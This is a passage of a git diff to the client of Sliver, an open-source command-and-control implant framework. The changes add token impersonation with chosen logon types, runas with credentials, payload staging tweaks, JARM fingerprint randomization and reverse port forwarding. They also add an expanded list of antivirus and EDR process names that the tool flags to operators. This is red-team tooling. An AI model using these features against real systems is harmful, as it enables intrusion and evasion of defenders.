@@ -452,7 +455,7 @@ The profile must be created with the [[.Bold]]service[[.Normal]] format, so that
 
 To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
 
-profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
+profiles new --format service --skip-symbols --mtls a.bc.de win-svc64
 
 Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
 
@@ -464,10 +467,20 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
 [[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
 [[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
 
-[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
+[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --http ab.cd windows-shellcode
 `
 	makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
 [[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
+You can specify a custon Logon Type using the [[.Bold]]--logon-type[[.Normal]] flag, which defaults to [[.Bold]]LOGON32_LOGON_NEW_CREDENTIALS[[.Normal]].
+Valid types are:
+
+LOGON_INTERACTIVE
+LOGON_NETWORK
+LOGON_BATCH
+LOGON_SERVICE
+LOGON_UNLOCK
+LOGON_NETWORK_CLEARTEXT
+LOGON_NEW_CREDENTIALS
 `
 
 	getEnvHelp = `[[.Bold]]Command:[[.Normal]] getenv [name]
@@ -701,6 +714,13 @@ the target extension must have either of these two sets of permissions:
 2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*" 
 
 More information: https://github.com/mandatoryprogrammer/CursedChrome
+`
+
+	buildersHelp = `[[.Bold]]Command:[[.Normal]] builders
+[[.Bold]]About:[[.Normal]] Lists external builders currently registered with the server.
+
+External builders allow the Sliver server offload implant builds onto external machines.
+For more information: https://github.com/BishopFox/sliver/wiki/External-Builders
 `
 )
 

client/command/hosts/hosts.go

@@ -26,6 +26,7 @@ import (
 	"sort"
 	"strings"
 	"text/tabwriter"
+	"time"
 
 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/command/settings"
@@ -65,10 +66,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
 		"ID",
 		"Hostname",
 		"Operating System",
+		"Locale",
 		"Sessions",
 		"Beacons",
 		"IOCs",
 		"Extensions",
+		"First Contact",
 	})
 	for _, host := range hosts {
 		var shortID string
@@ -81,10 +84,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
 			shortID,
 			host.Hostname,
 			host.OSVersion,
+			host.Locale,
 			hostSessions(host.HostUUID, con),
 			hostBeacons(host.HostUUID, con),
 			len(host.IOCs),
 			len(host.ExtensionData),
+			con.FormatDateDelta(time.Unix(host.FirstContact, 0), true, false),
 		})
 	}
 	return tw.Render()

client/command/info/info.go

@@ -22,6 +22,7 @@ import (
 	"context"
 	"time"
 
+	"github.com/bishopfox/sliver/client/command/use"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -33,10 +34,33 @@ import (
 
 // InfoCmd - Display information about the active session
 func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
+	var err error
+
+	// Check if we have an active target via 'use'
+	session, beacon := con.ActiveTarget.Get()
+
+	idArg := ctx.Args.String("session")
+	if idArg != "" {
+		// ID passed via argument takes priority
+		session, beacon, err = use.SessionOrBeaconByID(idArg, con)
+	} else if session != nil || beacon != nil {
+		var currID = ""
+		if session != nil {
+			currID = session.ID
+		} else {
+			currID = beacon.ID
+		}
+		session, beacon, err = use.SessionOrBeaconByID(currID, con)
+	} else {
+		if session == nil && beacon == nil {
+			session, beacon, err = use.SelectSessionOrBeacon(con)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+		}
 	}
+
 	if session != nil {
 
 		con.Printf(console.Bold+"        Session ID: %s%s\n", console.Normal, session.ID)
@@ -49,11 +73,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.Printf(console.Bold+"               PID: %s%d\n", console.Normal, session.PID)
 		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, session.OS)
 		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, session.Version)
+		con.Printf(console.Bold+"            Locale: %s%s\n", console.Normal, session.Locale)
 		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, session.Arch)
 		con.Printf(console.Bold+"         Active C2: %s%s\n", console.Normal, session.ActiveC2)
 		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
 		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
 		con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
+		con.Printf(console.Bold+"     First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
+		con.Printf(console.Bold+"      Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
 
 	} else if beacon != nil {
 
@@ -67,12 +94,16 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.Printf(console.Bold+"               PID: %s%d\n", console.Normal, beacon.PID)
 		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, beacon.OS)
 		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, beacon.Version)
+		con.Printf(console.Bold+"            Locale: %s%s\n", console.Normal, beacon.Locale)
 		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, beacon.Arch)
 		con.Printf(console.Bold+"         Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
 		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
 		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
 		con.Printf(console.Bold+"          Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
 		con.Printf(console.Bold+"            Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
+		con.Printf(console.Bold+"     First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
+		con.Printf(console.Bold+"      Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
+		con.Printf(console.Bold+"      Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
 
 	} else {
 		con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)

client/command/jobs/https.go

@@ -68,6 +68,7 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		EnforceOTP:      !disableOTP,
 		LongPollTimeout: int64(longPollTimeout),
 		LongPollJitter:  int64(longPollJitter),
+		RandomizeJARM:   !ctx.Flags.Bool("disable-randomized-jarm"),
 	})
 	con.Println()
 	if err != nil {

client/command/jobs/stage.go

@@ -22,6 +22,8 @@ import (
 	"bytes"
 	"compress/zlib"
 	"context"
+	"encoding/binary"
+	"github.com/bishopfox/sliver/util/encoders"
 	"net/url"
 	"strconv"
 	"strings"
@@ -39,6 +41,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	listenerURL := ctx.Flags.String("url")
 	aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
 	aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
+	prependSize := ctx.Flags.Bool("prepend-size")
 	compress := strings.ToLower(ctx.Flags.String("compress"))
 
 	if profileName == "" || listenerURL == "" {
@@ -68,7 +71,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if aesEncryptKey != "" {
 		// check if aes encryption key is correct length
 		if len(aesEncryptKey)%16 != 0 {
-			con.PrintErrorf("Incorect length of AES Key\n")
+			con.PrintErrorf("Incorrect length of AES Key\n")
 			return
 		}
 
@@ -101,7 +104,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		zlibWriter.Close()
 		stage2 = compBuff.Bytes()
 	case "gzip":
-		stage2 = util.GzipBuf(stage2)
+		stage2 = encoders.GzipBuf(stage2)
 	case "deflate9":
 		fallthrough
 	case "deflate":
@@ -117,6 +120,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	switch stagingURL.Scheme {
 	case "http":
+		if prependSize {
+			stage2 = prependPayloadSize(stage2)
+		}
 		ctrl := make(chan bool)
 		con.SpinUntil("Starting HTTP staging listener...", ctrl)
 		stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -133,6 +139,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 		con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
 	case "https":
+		if prependSize {
+			stage2 = prependPayloadSize(stage2)
+		}
 		cert, key, err := getLocalCertificatePair(ctx)
 		if err != nil {
 			con.Println()
@@ -158,6 +167,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 		con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
 	case "tcp":
+		// Always prepend payload size for TCP stagers
+		stage2 = prependPayloadSize(stage2)
 		ctrl := make(chan bool)
 		con.SpinUntil("Starting TCP staging listener...", ctrl)
 		stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -184,3 +195,10 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintInfof("AES IV: %v\n", aesEncryptIv)
 	}
 }
+
+func prependPayloadSize(payload []byte) []byte {
+	payloadSize := uint32(len(payload))
+	lenBuf := make([]byte, 4)
+	binary.LittleEndian.PutUint32(lenBuf, payloadSize)
+	return append(lenBuf, payload...)
+}

client/command/network/netstat.go

@@ -44,6 +44,7 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ip6 := ctx.Flags.Bool("ip6")
 	tcp := ctx.Flags.Bool("tcp")
 	udp := ctx.Flags.Bool("udp")
+	numeric := ctx.Flags.Bool("numeric")
 
 	implantPID := getPID(session, beacon)
 	activeC2 := getActiveC2(session, beacon)
@@ -67,25 +68,21 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintNetstat(netstat, implantPID, activeC2, con)
+			PrintNetstat(netstat, implantPID, activeC2, numeric, con)
 		})
 		con.PrintAsyncResponse(netstat.Response)
 	} else {
-		PrintNetstat(netstat, implantPID, activeC2, con)
+		PrintNetstat(netstat, implantPID, activeC2, numeric, con)
 	}
 }
 
-func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, con *console.SliverConsoleClient) {
+func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, numeric bool, con *console.SliverConsoleClient) {
 	lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string {
-		const IPv4Strlen = 17
 		addr := skaddr.Ip
 		names, err := net.LookupAddr(addr)
 		if err == nil && len(names) > 0 {
 			addr = names[0]
 		}
-		if len(addr) > IPv4Strlen {
-			addr = addr[:IPv4Strlen]
-		}
 		return fmt.Sprintf("%s:%d", addr, skaddr.Port)
 	}
 
@@ -98,8 +95,12 @@ func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string,
 		if entry.Process != nil {
 			pid = fmt.Sprintf("%d/%s", entry.Process.Pid, entry.Process.Executable)
 		}
-		srcAddr := lookup(entry.LocalAddr)
-		dstAddr := lookup(entry.RemoteAddr)
+		srcAddr := fmt.Sprintf("%s:%d", entry.LocalAddr.Ip, entry.LocalAddr.Port)
+		dstAddr := fmt.Sprintf("%s:%d", entry.RemoteAddr.Ip, entry.RemoteAddr.Port)
+		if !numeric {
+			srcAddr = lookup(entry.LocalAddr)
+			dstAddr = lookup(entry.RemoteAddr)
+		}
 		if entry.Process != nil && entry.Process.Pid == implantPID {
 			tw.AppendRow(table.Row{
 				fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),

client/command/portfwd/portfwd-add.go

@@ -19,8 +19,10 @@ package portfwd
 */
 
 import (
+	"fmt"
 	"log"
 	"net"
+	"regexp"
 	"time"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -29,6 +31,10 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+var (
+	portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
+)
+
 // PortfwdAddCmd - Add a new tunneled port forward
 func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveTarget.GetSessionInteractive()
@@ -36,10 +42,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	if session.GetActiveC2() == "dns" {
-		con.PrintWarnf("Current C2 is DNS, this is going to be a very slow tunnel!\n")
+		con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
 	}
 	if session.Transport == "wg" {
-		con.PrintWarnf("Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
+		con.PrintWarnf("The current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
 	}
 	remoteAddr := ctx.Flags.String("remote")
 	if remoteAddr == "" {
@@ -55,10 +61,14 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintWarnf("RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds\n")
 	}
 	bindAddr := ctx.Flags.String("bind")
-	if remoteAddr == "" {
-		con.PrintErrorf("Must specify a bind target host:port")
+	if bindAddr == "" {
+		con.PrintErrorf("Must specify a bind target host:port (e.g. 127.0.0.1:8000)")
 		return
 	}
+	// If only a port is specified bind to localhost
+	if portNumberOnlyRegexp.MatchString(bindAddr) {
+		bindAddr = fmt.Sprintf("127.0.0.1:%s", bindAddr)
+	}
 
 	tcpProxy := &tcpproxy.Proxy{}
 	channelProxy := &core.ChannelProxy{

client/command/privilege/make-token.go

@@ -28,6 +28,16 @@ import (
 	"google.golang.org/protobuf/proto"
 )
 
+var logonTypes = map[string]uint32{
+	"LOGON_INTERACTIVE":       2,
+	"LOGON_NETWORK":           3,
+	"LOGON_BATCH":             4,
+	"LOGON_SERVICE":           5,
+	"LOGON_UNLOCK":            7,
+	"LOGON_NETWORK_CLEARTEXT": 8,
+	"LOGON_NEW_CREDENTIALS":   9,
+}
+
 // MakeTokenCmd - Windows only, create a token using "valid" credentails
 func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
@@ -38,6 +48,12 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	username := ctx.Flags.String("username")
 	password := ctx.Flags.String("password")
 	domain := ctx.Flags.String("domain")
+	logonType := ctx.Flags.String("logon-type")
+
+	if _, ok := logonTypes[logonType]; !ok {
+		con.PrintErrorf("Invalid logon type: %s\n", logonType)
+		return
+	}
 
 	if username == "" || password == "" {
 		con.PrintErrorf("Pou must provide a username and password\n")
@@ -48,10 +64,11 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.SpinUntil("Creating new logon session ...", ctrl)
 
 	makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
-		Request:  con.ActiveTarget.Request(ctx),
-		Username: username,
-		Domain:   domain,
-		Password: password,
+		Request:   con.ActiveTarget.Request(ctx),
+		Username:  username,
+		Domain:    domain,
+		Password:  password,
+		LogonType: logonTypes[logonType],
 	})
 	ctrl <- true
 	<-ctrl

client/command/privilege/runas.go

@@ -36,8 +36,12 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	username := ctx.Flags.String("username")
+	password := ctx.Flags.String("password")
+	domain := ctx.Flags.String("domain")
+	showWindow := ctx.Flags.Bool("show-window")
 	process := ctx.Flags.String("process")
 	arguments := ctx.Flags.String("args")
+	netonly := ctx.Flags.Bool("net-only")
 
 	if username == "" {
 		con.PrintErrorf("Please specify a username\n")
@@ -54,6 +58,10 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Username:    username,
 		ProcessName: process,
 		Args:        arguments,
+		Domain:      domain,
+		Password:    password,
+		HideWindow:  !showWindow,
+		NetOnly:     netonly,
 	})
 	if err != nil {
 		con.PrintErrorf("%s", err)

client/command/processes/ps.go

@@ -21,6 +21,7 @@ package processes
 import (
 	"context"
 	"fmt"
+	"sort"
 	"strings"
 
 	"github.com/bishopfox/sliver/client/command/settings"
@@ -39,19 +40,51 @@ var (
 		// Process Name -> [Color, Stylized Name]
 		"ccSvcHst.exe":                    {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
 		"cb.exe":                          {console.Red, "Carbon Black"},                 // Carbon Black
+		"RepMgr.exe":                      {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
+		"RepUtils.exe":                    {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
+		"RepUx.exe":                       {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
+		"RepWSC.exe":                      {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
+		"scanhost.exe":                    {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
 		"MsMpEng.exe":                     {console.Red, "Windows Defender"},             // Windows Defender
+		"SenseIR.exe":                     {console.Red, "Windows Defender MDE"},         // Windows Defender Endpoint (Live Response Session)
+		"SenseCncProxy.exe":               {console.Red, "Windows Defender MDE"},         // Windows Defender Endpoint
+		"MsSense.exe":                     {console.Red, "Windows Defender MDE"},         // Windows Defender Endpoint
+		"MpCmdRun.exe":                    {console.Red, "Windows Defender"},             // Windows Defender
+		"MonitoringHost.exe":              {console.Red, "Windows Defender"},             // Microsoft Monitoring Agent
+		"HealthService.exe":               {console.Red, "Windows Defender"},             // Microsoft Monitoring Agent
 		"smartscreen.exe":                 {console.Red, "Windows Smart Screen"},         // Windows Defender Smart Screen
 		"CSFalconService.exe":             {console.Red, "CrowdStrike"},                  // Crowdstrike Falcon Service
 		"CSFalconContainer.exe":           {console.Red, "CrowdStrike"},                  // CrowdStrike Falcon Container Security
 		"bdservicehost.exe":               {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
 		"bdagent.exe":                     {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
 		"bdredline.exe":                   {console.Red, "Bitdefender"},                  // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
+		"Deep Security Manager.exe":       {console.Red, "Trend Micro"},                  // TM Deep Security Manager
+		"coreServiceShell.exe":            {console.Red, "Trend Micro"},                  // TM Anti-malware scan process
+		"ds_monitor.exe":                  {console.Red, "Trend Micro"},                  // TM Deep Security Monitor
+		"Notifier.exe":                    {console.Red, "Trend Micro"},                  // TM Deep Security Notifier's process
+		"dsa.exe":                         {console.Red, "Trend Micro"},                  // TM Agent's main process
+		"ds_nuagent.exe":                  {console.Red, "Trend Micro"},                  // TM Advanced TLS traffic inspection
+		"coreFrameworkHost.exe":           {console.Red, "Trend Micro"},                  // TM Anti-malware scan process
 		"SentinelServiceHost.exe":         {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelStaticEngine.exe":        {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelAgent.exe":               {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelAgentWorker.exe":         {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelHelperService.exe":       {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelBrowserNativeHost.exe":   {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelUI.exe":                  {console.Red, "SentinelOne"},                  // Sentinel One
+		"Sysmon.exe":                      {console.Red, "Sysmon"},                       // Sysmon
+		"Sysmon64.exe":                    {console.Red, "Sysmon64"},                     // Sysmon64
+		"CylanceSvc.exe":                  {console.Red, "Cylance"},                      // Cylance
+		"CylanceUI.exe":                   {console.Red, "Cylance"},                      // Cylance
+		"TaniumClient.exe":                {console.Red, "Tanium"},                       // Tanium
+		"TaniumCX.exe":                    {console.Red, "Tanium"},                       // Tanium
+		"TaniumDetectEngine.exe":          {console.Red, "Tanium"},                       // Tanium
+		"collector.exe":                   {console.Red, "Rapid 7 Collector"},            // Rapid 7 Insight Platform Collector
+		"ir_agent.exe":                    {console.Red, "Rapid 7 Insight Agent"},        // Rapid 7 Insight Agent
+		"eguiproxy.exe":                   {console.Red, "ESET Security"},                // ESET Internet Security
+		"ekrn.exe":                        {console.Red, "ESET Security"},                // ESET Internet Security
+		"efwd.exe":                        {console.Red, "ESET Security"},                // ESET Internet Security
 	}
 )
 
@@ -110,6 +143,25 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
 	ownerFilter := ctx.Flags.String("owner")
 	overflow := ctx.Flags.Bool("overflow")
 	skipPages := ctx.Flags.Int("skip-pages")
+	pstree := ctx.Flags.Bool("tree")
+
+	if pstree {
+		var currentPID int32
+		session, beacon := con.ActiveTarget.GetInteractive()
+		if session != nil && session.PID != 0 {
+			currentPID = session.PID
+		} else if beacon != nil && beacon.PID != 0 {
+			currentPID = beacon.PID
+		}
+		// Print the process tree
+		sorted := SortProcessesByPID(ps.Processes)
+		tree := NewPsTree(currentPID)
+		for _, p := range sorted {
+			tree.AddProcess(p)
+		}
+		con.PrintInfof("Process Tree:\n%s", tree.String())
+		return
+	}
 
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
@@ -249,3 +301,11 @@ func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleC
 	}
 	return -1
 }
+
+// SortProcessesByPID - Sorts a list of processes by PID
+func SortProcessesByPID(ps []*commonpb.Process) []*commonpb.Process {
+	sort.Slice(ps, func(i, j int) bool {
+		return ps[i].Pid < ps[j].Pid
+	})
+	return ps
+}

client/command/processes/pstree.go

@@ -0,0 +1,149 @@
+package processes
+
+import (
+	"fmt"
+	"sort"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/xlab/treeprint"
+)
+
+// A PsTree is a tree of *commonpb.Process
+type PsTree struct {
+	printableTree treeprint.Tree // only used for rendering
+	implantPID    int32
+	procTree      *node // used to hold the tree structure
+}
+
+type node struct {
+	Value    *commonpb.Process // The process information
+	Children map[int32]*node   // The children of this node
+	Parent   *node             // The parent of this node
+}
+
+// NewPsTree creates a new PsTree
+func NewPsTree(pid int32) *PsTree {
+	return &PsTree{
+		printableTree: treeprint.New(),
+		implantPID:    pid,
+		procTree:      &node{Value: &commonpb.Process{Pid: -1}},
+	}
+}
+
+func (n *node) insert(proc *commonpb.Process) {
+	if n.Value == nil {
+		n.Value = proc
+		return
+	}
+	if parent := n.findParent(proc); parent != nil {
+		if parent.Children == nil {
+			parent.Children = make(map[int32]*node)
+		}
+		parent.Children[proc.Pid] = &node{Value: proc, Parent: parent}
+	} else {
+		if n.Children == nil {
+			n.Children = make(map[int32]*node)
+		}
+		n.Children[proc.Pid] = &node{Value: proc, Parent: n}
+	}
+}
+
+func (n *node) findParent(proc *commonpb.Process) *node {
+	if n.Value == nil {
+		return nil
+	}
+	if n.Value.Pid == proc.Ppid {
+		return n
+	}
+	for _, child := range n.Children {
+		if p := child.findParent(proc); p != nil {
+			return p
+		}
+	}
+	return nil
+}
+
+func reorder(root *node) {
+	toDelete := make([]int32, 0)
+	for pid, child := range root.Children {
+		// skip root node
+		if child.Value.Pid == -1 {
+			continue
+		}
+		// Skip edge case of [System Process] on Windows
+		if child.Value.Ppid == pid {
+			continue
+		}
+		// only focus on children without parent
+		if child.Parent.Value.Pid == -1 {
+			if parent := root.findParent(child.Value); parent != nil {
+				child.Parent = parent
+				if parent.Children == nil {
+					parent.Children = make(map[int32]*node)
+				}
+				// copy to new parent
+				parent.Children[pid] = child
+				// mark for deletion
+				toDelete = append(toDelete, pid)
+			}
+		}
+	}
+	// delete children that were moved
+	for _, pid := range toDelete {
+		delete(root.Children, pid)
+	}
+}
+
+func (t *PsTree) AddProcess(proc *commonpb.Process) {
+	t.procTree.insert(proc)
+}
+
+func (t *PsTree) filterProc(proc *commonpb.Process) string {
+	color := console.Normal
+	if proc.Pid == t.implantPID {
+		color = console.Green
+	}
+	if secTool, ok := knownSecurityTools[proc.Executable]; ok {
+		color = secTool[0]
+	}
+	return fmt.Sprintf(color+"%s"+console.Normal, proc.Executable)
+}
+
+func (t *PsTree) String() string {
+	reorder(t.procTree)
+	return t.Print()
+}
+
+func (t *PsTree) Print() string {
+	topLevelPIDs := make([]int, 0, len(t.procTree.Children))
+	for k := range t.procTree.Children {
+		topLevelPIDs = append(topLevelPIDs, int(k))
+	}
+	sort.Ints(topLevelPIDs)
+	for _, pid := range topLevelPIDs {
+		current := t.printableTree.AddMetaBranch(pid, t.filterProc(t.procTree.Children[int32(pid)].Value))
+		t.addToTree(current, t.procTree.Children[int32(pid)].Children)
+	}
+	return t.printableTree.String()
+
+}
+
+func (t *PsTree) addToTree(tree treeprint.Tree, procs map[int32]*node) {
+	for pid, proc := range procs {
+		if proc.Value.Pid == -1 {
+			continue
+		}
+		procName := t.filterProc(proc.Value)
+
+		procNode := tree.FindByMeta(pid)
+		if procNode == nil {
+			if len(proc.Children) > 0 {
+				procNode = tree.AddMetaBranch(pid, procName)
+			} else {
+				procNode = tree.AddMetaNode(pid, procName)
+			}
+		}
+		t.addToTree(procNode, proc.Children)
+	}
+}

client/command/processes/terminate.go

@@ -30,8 +30,9 @@ import (
 
 // TerminateCmd - Terminate a process on the remote system
 func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		con.PrintErrorf("No active session or beacon\n")
 		return
 	}
 

client/command/rportfwd/portfwd-add.go

@@ -0,0 +1,77 @@
+package rportfwd
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"regexp"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+
+	"github.com/desertbit/grumble"
+)
+
+var (
+	portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
+)
+
+// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
+func StartRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	if session.GetActiveC2() == "dns" {
+		con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
+	}
+
+	bindAddress := ctx.Flags.String("bind")
+	// Check if the bind address is just a port number, if no host is specified
+	// we just bind to all interfaces implant-side
+	if portNumberOnlyRegexp.MatchString(bindAddress) {
+		bindAddress = fmt.Sprintf(":%s", bindAddress)
+	}
+
+	forwardAddress := ctx.Flags.String("remote")
+	// Check if the forward address is just a port number, if no host is specified
+	// we just forward to localhost client-side
+	if portNumberOnlyRegexp.MatchString(forwardAddress) {
+		forwardAddress = fmt.Sprintf("127.0.0.1:%s", forwardAddress)
+	}
+	rportfwdListener, err := con.Rpc.StartRportFwdListener(context.Background(), &sliverpb.RportFwdStartListenerReq{
+		Request:        con.ActiveTarget.Request(ctx),
+		BindAddress:    bindAddress,
+		ForwardAddress: forwardAddress,
+	})
+	if err != nil {
+		con.PrintWarnf("%s\n", err)
+		return
+	}
+	printStartedRportFwdListener(rportfwdListener, con)
+}
+
+func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
+	if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
+		con.PrintErrorf("%s", rportfwdListener.Response.Err)
+		return
+	}
+	con.PrintInfof("Reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
+}

client/command/rportfwd/portfwd-rm.go

@@ -0,0 +1,55 @@
+package rportfwd
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
